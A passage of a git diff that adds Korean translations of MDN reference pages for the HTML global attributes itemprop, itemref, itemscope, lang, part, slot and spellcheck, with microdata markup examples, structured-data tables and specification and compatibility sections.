+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="다음_세_예제는_모두_같습니다.">다음 세 예제는 모두 같습니다.</h4>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: html notranslate">&lt;div itemscope&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: html notranslate">&lt;div id="x"&gt;
+ &lt;p itemprop="a"&gt;1&lt;/p&gt;
+&lt;/div&gt;
+&lt;div itemscope itemref="x"&gt;
+ &lt;p itemprop="b"&gt;test&lt;/p&gt;
+ &lt;p itemprop="a"&gt;2&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h2 id="다른_예제">다른 예제</h2>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;dl itemscope
+ itemtype="http://vocab.example.net/book"
+ itemid="urn:isbn:0-330-34032-8"&gt;
+ &lt;dt&gt;Title
+ &lt;dd
+ itemprop="title"&gt;The Reality Dysfunction
+ &lt;dt&gt;Author
+ &lt;dd
+ itemprop="author"&gt;Peter F. Hamilton
+ &lt;dt&gt;Publication date
+ &lt;dd&gt;&lt;time
+ itemprop="pubdate"
+ datetime="1996-01-26"&gt;26 January 1996&lt;/time&gt;
+&lt;/dl&gt;
+</pre>
+
+<h3 id="구조화된_데이터_2">구조화된 데이터</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td colspan="1" rowspan="14">itemscope</td>
+ <td>itemtype: itemid</td>
+ <td colspan="2" rowspan="1">http://vocab.example.net/book: urn:isbn:0-330-34032-8</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>title</td>
+ <td>The Reality Dysfunction</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>author</td>
+ <td>Peter F. Hamilton</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>pubdate</td>
+ <td>1996-01-26</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('HTML_2', '', '', '', 'Web/HTML/Global_attributes/itemprop')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML Microdata', "#dfn-attr-itemprop", "itemprop")}}</td>
+ <td>{{Spec2('HTML Microdata')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "microdata.html#names:-the-itemprop-attribute", "itemprop")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.itemprop")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML/Global_attributes">다른 전역 특성</a></li>
+ <li>다른 마이크로데이터와 관련된 전역 속성:
+ <ul>
+ <li>{{htmlattrxref("itemid")}}</li>
+ <li>{{htmlattrxref("itemprop")}}</li>
+ <li>{{htmlattrxref("itemref")}}</li>
+ <li>{{htmlattrxref("itemscope")}}</li>
+ <li>{{htmlattrxref("itemtype")}}</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/itemref/index.html b/files/ko/web/html/global_attributes/itemref/index.html
new file mode 100644
index 0000000000..3b9f63afea
--- /dev/null
+++ b/files/ko/web/html/global_attributes/itemref/index.html
@@ -0,0 +1,95 @@
+---
+title: itemref
+slug: Web/HTML/Global_attributes/itemref
+tags:
+ - Global attribute
+ - HTML
+ - HTML Microdata
+ - Reference
+translation_of: Web/HTML/Global_attributes/itemref
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><strong><code>itemref</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 사용하면 {{htmlattrxref("itemscope")}} 특성을 가진 요소 바깥의 속성도 아이템과 연결할 수 있습니다.</p>
+
+<p><code>itemref</code> 특성에는 문서 내 다른 요소의 {{htmlattrxref("id")}} 목록({{htmlattrxref("itemid")}} 아님)을 제공해야 합니다.</p>
+
+<p><code>itemref</code> 특성은 <code>itemscope</code> 특성을 지정한 요소에만 추가할 수 있습니다.</p>
+
+<p class="note"><strong>참고: </strong><code>itemref</code> 특성은 마이크로데이터 데이터 모델의 일부가 아니며, 트리 구조를 따르지 않는 데이터에 웹 작성자가 주석을 추가하는 것을 돕는 구문 구조에 불과합니다. 예를 들어, 표의 열이 별개의 아이템인데 데이터 속성은 열을 구성하는 칸에 포함하고 싶은 경우 사용할 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div itemscope id="amanda" itemref="a b"&gt;&lt;/div&gt;
+&lt;p id="a"&gt;Name: &lt;span itemprop="name"&gt;Amanda&lt;/span&gt; &lt;/p&gt;
+&lt;div id="b" itemprop="band" itemscope itemref="c"&gt;&lt;/div&gt;
+&lt;div id="c"&gt;
+    &lt;p&gt;Band: &lt;span itemprop="name"&gt;Jazz Band&lt;/span&gt; &lt;/p&gt;
+    &lt;p&gt;Size: &lt;span itemprop="size"&gt;12&lt;/span&gt; players&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="구조화_데이터">구조화 데이터</h3>
+
+<p><small>(<a href="https://json-ld.org/" rel="external">JSON-LD</a> 형식)</small></p>
+
+<pre class="brush: json">{
+ "@id": "amanda",
+  "name": "Amanda",
+  "band": {
+  "@id": "b",
+  "name": "Jazz Band",
+  "size": 12
+  }
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML Microdata', "#dfn-itemref", "itemref")}}</td>
+ <td>{{Spec2('HTML Microdata')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemref", "itemref")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.itemref")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>마이크로데이터 관련 다른 전역 특성
+ <ul>
+ <li>{{htmlattrxref("itemid")}}</li>
+ <li>{{htmlattrxref("itemprop")}}</li>
+ <li>{{htmlattrxref("itemref")}}</li>
+ <li>{{htmlattrxref("itemtype")}}</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/itemscope/index.html b/files/ko/web/html/global_attributes/itemscope/index.html
new file mode 100644
index 0000000000..8d9b8368fc
--- /dev/null
+++ b/files/ko/web/html/global_attributes/itemscope/index.html
@@ -0,0 +1,284 @@
+---
+title: itemscope
+slug: Web/HTML/Global_attributes/itemscope
+tags:
+ - Global attribute
+ - HTML
+ - HTML Microdata
+ - Microdata
+ - Reference
+ - 마이크로데이터
+translation_of: Web/HTML/Global_attributes/itemscope
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>itemscope</strong></code> 전역 특성은 연관된 메타데이터의 범위를 지정하는 불리언 특성입니다. 요소에 <code>itemscope</code> 특성을 지정하면 새로운 아이템을 생성하고, 그 결과로 요소에 관련된 키-값 쌍 다수를 낳습니다. 관련 특성인 {{htmlattrxref("itemtype")}}은 어휘(<a href="https://schema.org/">schema.org</a> 등)의 유효한 {{glossary("URL")}}을 지정할 때 사용합니다. 아래 각각의 예제는 <a href="https://schema.org/">schema.org</a>의 어휘를 사용합니다.</p>
+
+<p>모든 HTML 요소는 <code>itemscope</code> 특성을 가질 수 있습니다. <code>itemscope</code>를 가졌으나 연결된 <code>itemtype</code>이 없는 경우 반드시 연관된 <code>itemref</code>를 가져야 합니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>itemtype</code> 특성을 더 알아보려면 <a href="http://schema.org/Thing">http://schema.org/Thing</a>을 방문하세요.</p>
+</div>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<p>다음의 예제는 <code>itemscope</code> 특성의 사용법을 보입니다. <code>itemtype</code>은 <a href="http://schema.org/Movie"> http://schema.org/Movie</a>로 지정하고, 세 개의 관련 <code>itemprop</code> 특성을 가집니다.</p>
+
+<pre class="brush:html">&lt;div itemscope itemtype="http://schema.org/Movie"&gt;
+ &lt;h1 itemprop="name"&gt;Avatar&lt;/h1&gt;
+ &lt;span&gt;Director: &lt;span itemprop="director"&gt;James Cameron&lt;/span&gt; (born August 16, 1954)&lt;/span&gt;
+ &lt;span itemprop="genre&gt;Science fiction&lt;/span&gt;
+ &lt;a href="https://youtu.be/0AY1XIkX7bY" itemprop="trailer"&gt;Trailer&lt;/a&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="구조화된_데이터">구조화된 데이터</h4>
+
+<p>다음 표는 앞선 코드의 구조화된 데이터를 나타냅니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td rowspan="6">itemscope</td>
+ <td>Itemtype</td>
+ <td colspan="2">Movie</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>(itemprop name)</td>
+ <td>(itemprop value)</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>director</td>
+ <td>James Cameron</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>genre</td>
+ <td>Science Fiction</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>name</td>
+ <td>Avatar</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>https://youtu.be/0AY1XIkX7bY</td>
+ <td>Trailer</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="itemscope_id_특성"><code>itemscope</code> id 특성</h3>
+
+<p>요소에 <code>itemscope</code> 특성을 지정하면 새로운 아이템이 생성됩니다. 아이템은 이름-값 쌍 그룹으로 이루어집니다. <code>itemscope</code>와 <code>itemtype</code> 특성을 가진 요소의 경우, {{htmlattrxref("id")}} 특성도 지정할 수 있습니다. <code>id</code>를 사용하면 새로운 아이템에 대한 전역 식별자를 설정할 수 있으며, 전역 식별자를 사용하면 웹에서 찾을 수 있는 다른 아이템과 연결할 수 있습니다.</p>
+
+<h3 id="예제">예제</h3>
+
+<p>다음 예제는 네 개의 <code>itemscope</code> 특성을 가지고 있습니다. 각각의 <code>itemscope</code> 특성은 대응하는 <code>itemtype</code> 특성의 범위를 지정합니다. <code>itemtype</code>, <code>Recipe</code>, <code>AggregateRating</code>, <code>NutritionInformation</code>은 요리법에 관한 <a href="https://www.schema.org">schema.org</a> 구조화된 데이터로, 첫 번째 <code>itemtype</code>의 값인 http://schema.org/Recipe에 정의되어 있습니다.</p>
+
+<pre class="brush: html">&lt;div itemscope itemtype="http://schema.org/Recipe"&gt;
+  &lt;h2 itemprop="name"&gt;Grandma's Holiday Apple Pie&lt;/h2&gt;
+  &lt;img itemprop="image" src="https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg" width="50" height="50" /&gt;
+  &lt;p&gt;
+    By &lt;span itemprop="author" itemscope itemtype="http://schema.org/Person"&gt;
+      &lt;span itemprop="name"&gt;Carol Smith&lt;/span&gt;
+    &lt;/span&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    Published: &lt;time datetime="2009-11-05" itemprop="datePublished"&gt;November 5, 2009&lt;/time&gt;
+  &lt;/p&gt;
+  &lt;span itemprop="description"&gt;This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.&lt;/span&gt;
+  &lt;br&gt;
+  &lt;span itemprop="aggregateRating" itemscope itemtype="http://schema.org/AggregateRating"&gt;
+    &lt;span itemprop="ratingValue"&gt;4.0&lt;/span&gt; stars based on &lt;span itemprop="reviewCount"&gt;35&lt;/span&gt; reviews
+  &lt;/span&gt;
+  &lt;br&gt;
+  Prep time: &lt;time datetime="PT30M" itemprop="prepTime"&gt;30 min&lt;/time&gt;&lt;br&gt;
+  Cook time: &lt;time datetime="PT1H" itemprop="cookTime"&gt;1 hou&lt;/time&gt;r&lt;br&gt;
+  Total time: &lt;time datetime="PT1H30M" itemprop="totalTime"&gt;1 hour 30 min&lt;/time&gt;&lt;br&gt;
+  Yield: &lt;span itemprop="recipeYield"&gt;1 9" pie (8 servings)&lt;/span&gt;&lt;br&gt;
+  &lt;span itemprop="nutrition" itemscope itemtype="http://schema.org/NutritionInformation"&gt;
+    Serving size: &lt;span itemprop="servingSize"&gt;1 medium slice&lt;/span&gt;&lt;br&gt;
+    Calories per serving: &lt;span itemprop="calories"&gt;250 cal&lt;/span&gt;&lt;br&gt;
+    Fat per serving: &lt;span itemprop="fatContent"&gt;12 g&lt;/span&gt;&lt;br&gt;
+  &lt;/span&gt;
+  &lt;p&gt;
+    Ingredients:&lt;br&gt;
+    &lt;span itemprop="recipeIngredient"&gt;Thinly-sliced apples: 6 cups&lt;br&gt;&lt;/span&gt;
+    &lt;span itemprop="recipeIngredient"&gt;White sugar: 3/4 cup&lt;br&gt;&lt;/span&gt;
+    ...
+  &lt;/p&gt;
+  Directions: &lt;br&gt;
+  &lt;div itemprop="recipeInstructions"&gt;
+    1. Cut and peel apples&lt;br&gt;
+    2. Mix sugar and cinnamon. Use additional sugar for tart apples. &lt;br&gt;
+    ...
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="결과">결과</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<p>다음은 위의 코드를 렌더링한 예제입니다.</p>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h4 id="구조화된_데이터_2">구조화된 데이터</h4>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td colspan="1" rowspan="14">itemscope</td>
+ <td>itemtype</td>
+ <td colspan="2" rowspan="1">Recipe</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>name</td>
+ <td>Grandma's Holiday Apple Pie</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>image</td>
+ <td>https://c1.staticflickr.com/1/30/42759561_8631e2f905_n.jpg</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>datePublished</td>
+ <td>2009-11-05</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>description</td>
+ <td>This is my grandmother's apple pie recipe. I like to add a dash of nutmeg.</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>prepTime</td>
+ <td>PT30M</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>cookTime</td>
+ <td>PT1H</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>totalTime</td>
+ <td>PT1H30M</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>recipeYield</td>
+ <td>1 9" pie (8 servings)</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>recipeIngredient</td>
+ <td>Thinly-sliced apples: 6 cups</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>recipeIngredient</td>
+ <td>White sugar: 3/4 cup</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>recipeInstructions</td>
+ <td>1. Cut and peel apples 2. Mix sugar and cinnamon. Use additional sugar for tart apples .</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td colspan="2" rowspan="1">author [Person]</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>name</td>
+ <td>Carol Smith</td>
+ </tr>
+ <tr>
+ <td colspan="1" rowspan="3">itemscope</td>
+ <td>itemprop[itemtype]</td>
+ <td colspan="2" rowspan="1">aggregateRating [AggregateRating]</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>ratingValue</td>
+ <td>4.0</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>reviewCount</td>
+ <td>35</td>
+ </tr>
+ <tr>
+ <td colspan="1" rowspan="4">itemscope</td>
+ <td>itemprop[itemtype]</td>
+ <td colspan="2" rowspan="1">nutrition [NutritionInformation]</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>servingSize</td>
+ <td>1 medium slice</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>calories</td>
+ <td>250 cal</td>
+ </tr>
+ <tr>
+ <td>itemprop</td>
+ <td>fatContent</td>
+ <td>12 g</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>참고</strong>: HTML에서 마이크로데이터를 추출할 때 유용하게 사용할 수 있는 Google의 <a href="https://search.google.com/structured-data/testing-tool">구조화된 데이터 테스트 도구</a>가 있습니다. 위의 HTML 예제 코드를 넣어보세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "microdata.html#attr-itemscope", "itemscope")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 테이블은 구조화된 데이터에서 만려면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 을 방문하셔서 요청해주시길 바랍니다.</div>
+
+<p>{{Compat("html.global_attributes.itemscope")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>다른 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li>마이크로데이터 관련 다른 전역 특성
+ <ul>
+ <li>{{htmlattrxref("itemid")}}</li>
+ <li>{{htmlattrxref("itemprop")}}</li>
+ <li>{{htmlattrxref("itemref")}}</li>
+ <li>{{htmlattrxref("itemtype")}}</li>
+ </ul>
+ </li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/lang/index.html b/files/ko/web/html/global_attributes/lang/index.html
new file mode 100644
index 0000000000..db9e80e1f2
--- /dev/null
+++ b/files/ko/web/html/global_attributes/lang/index.html
@@ -0,0 +1,90 @@
+---
+title: lang
+slug: Web/HTML/Global_attributes/lang
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/lang
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><strong><code>lang</code></strong> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소 내의 수정 불가한 텍스트의 언어와, 수정 가능한 텍스트가 사용해야 하는 언어를 정의합니다. 특성의 값은 <a class="external" href="https://www.ietf.org/rfc/bcp/bcp47.txt">Tags for Identifying Languages (BCP47)</a>에 정의된 형식의 "언어 태그" 한 개입니다.</p>
+
+<p class="note"><code>lang</code>의 기본값은 "알 수 없음"이므로 항상 적절한 값을 지정하는 것이 좋습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-lang.html","tabbed-shorter")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>특성의 값이 빈 문자열(<code>lang=""</code>)일 때의 값은 "알 수 없음"(unknown)이며, 지정한 값이 BCP47의 유효한 값이 아닌 경우 "유효하지 않음"(invalid)입니다.</p>
+
+<div class="note">
+<h2 id="언어_태그_구문">언어 태그 구문</h2>
+
+<p>BCP47의 전체 구문은 매우 상세하여 어떤 언어의 세세한 방언을 나타낼 수도 있지만, 대부분의 사용법은 훨씬 단순합니다.</p>
+
+<p>언어 태그는 붙임표로 구분하는 "언어 하위태그"로 구성하며, 각각의 하위태그가 언어의 특정 속성을 나타냅니다. 가장 흔히 쓰이는 세 개의 하위 태그는 다음과 같습니다.</p>
+
+<dl>
+ <dt>언어 하위태그</dt>
+ <dd>필수. 두 세 글자로 구성된 코드로 기본 언어를 정의하며, 보통 모두 소문자로 표기합니다. 예를 들어 영어의 언어 태그는 <code>en</code>이고, 한국어의 언어 태그는 <code>ko</code>입니다.</dd>
+ <dt>활자 하위태그</dt>
+ <dd>선택사항. 언어의 문자 체계를 나타내며 항상 네 글자이고, 첫 글자는 대문자입니다. 예를 들어, 점자로 쓴 프랑스어는 <code>fr-Brai</code>이고, 일본어 가타카나는 <code>ja-Kana</code>입니다. 라틴 알파벳으로 작성한 영어와 같이 굉장히 흔히 쓰이는 체계의 경우 활자 하위태그를 지정할 필요가 없습니다.</dd>
+ <dt>지역 하위태그</dt>
+ <dd>선택사항. 기본 언어 안에서 특정 지역의 방언을 정의하며, 국가 코드와 일치하는 전체 대문자의 두 글자이거나, 국가 외 지역과 일치하는 세 글자 숫자로 구성됩니다. <code>es-ES</code>는 스페인에서 사용하는 스페인어, <code>es-013</code>은 중앙 아메리카에서 사용하는 스페인어이며 "국제 스페인어"는 짧게 <code>es</code>가 됩니다.</dd>
+</dl>
+
+<p>활자와 지역 하위태그가 모두 존재할 경우 활자 태그가 더 앞에 배치됩니다. 예를 들어, <code>ru-Cyrl-BY</code>는 키릴 문자로 작성한 벨라루스의 러시아어입니다.</p>
+
+<p>언어에 적합한 하위태그를 찾아보시려면 <a href="https://r12a.github.io/app-subtags/" rel="external">Language Subtag Lookup</a>을 사용해보세요.</p>
+</div>
+
+<p>CSS {{cssxref(":lang")}} 의사 클래스에서는 유효하지 않은 언어의 이름 두 가지가 이 서로 다르다면 별도로 취급합니다. 예컨대, <code>:lang(es)</code> <code>lang="es-ES"</code>와 <code>lang="es-419"</code> 모두 선택하지만, <code>:lang(xyzzy)</code>는 <code>lang="xyzzy-Zorp!"</code>를 선택하지 못합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "dom.html#the-lang-and-xml:lang-attributes", "lang")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, behavior with <code>xml:lang</code> and language determination algorithm defined. It also is a true global attribute.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/dirlang.html#h-8.1', 'lang')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td>Supported on all elements but {{HTMLElement("applet")}}, {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("br")}}, {{HTMLElement("frame")}}, {{HTMLElement("frameset")}}, {{HTMLElement("iframe")}}, {{HTMLElement("param")}}, and {{HTMLElement("script")}}.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.lang")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+ <li><a href="/ko/docs/Web/HTTP/Headers/Content-Language"><code>Content-Language</code> HTTP 헤더</a></li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/part/index.html b/files/ko/web/html/global_attributes/part/index.html
new file mode 100644
index 0000000000..839639f470
--- /dev/null
+++ b/files/ko/web/html/global_attributes/part/index.html
@@ -0,0 +1,43 @@
+---
+title: part
+slug: Web/HTML/Global_attributes/part
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/part
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>part</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소의 파트 이름을 공백으로 구분한 목록을 지정합니다. CSS에서는 {{CSSxRef("::part")}} 의사 요소를 사용해, 섀도 트리 내의 특정 요소에 스타일을 적용할 수 있습니다.</p>
+
+<p><a href="https://mdn.github.io/web-components-examples/shadow-part/">섀도 파트 예제</a>에서 사용 예를 살펴보세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS Shadow Parts", "#part-attr", "part")}}</td>
+ <td>{{Spec2('CSS Shadow Parts')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.part")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/slot/index.html b/files/ko/web/html/global_attributes/slot/index.html
new file mode 100644
index 0000000000..b29c786b7f
--- /dev/null
+++ b/files/ko/web/html/global_attributes/slot/index.html
@@ -0,0 +1,48 @@
+---
+title: slot
+slug: Web/HTML/Global_attributes/slot
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/slot
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>slot</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소에 <a href="/ko/docs/Web/Web_Components/Using_shadow_DOM">섀도우 DOM</a> 섀도우 트리를 할당합니다. <code>slot</code> 특성을 지정한 요소는 {{htmlattrxref("name", "slot")}} 특성의 값이 요소의 <code>slot</code> 값과 일치하는 {{htmlelement("slot")}} 요소에 할당됩니다.</p>
+
+<p>예제는 <a href="/ko/docs/Web/Web_Components/Using_templates_and_slots">템플릿과 슬롯 사용하기</a> 안내서에서 확인할 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#attr-slot", "slot attribute")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', "#dom-element-slot", "slot attribute")}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.global_attributes.slot")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>모든 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>.</li>
+</ul>
diff --git a/files/ko/web/html/global_attributes/spellcheck/index.html b/files/ko/web/html/global_attributes/spellcheck/index.html
new file mode 100644
index 0000000000..c367bcd6a0
--- /dev/null
+++ b/files/ko/web/html/global_attributes/spellcheck/index.html
@@ -0,0 +1,67 @@
+---
+title: spellcheck
+slug: Web/HTML/Global_attributes/spellcheck
+tags:
+ - Global attributes
+ - HTML
+ - Reference
+translation_of: Web/HTML/Global_attributes/spellcheck
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p><code><strong>spellcheck</strong></code> <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>은 요소의 맞춤법 검사 여부를 지정하는 열거형 특성입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-spellcheck.html","tabbed-shorter")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</div>
+
+<p>가능한 값은 다음과 같습니다.</p>
+
+<ul>
+ <li><code>true</code>는 가능한 경우 요소의 맞춤법을 검사해야 함을 나타냅니다.</li>
+ <li><code>false</code>는 요소의 맞춤법을 검사하지 않아야 함을 나타냅니다.</li>
+</ul>
+
+<div class="blockIndicator note">
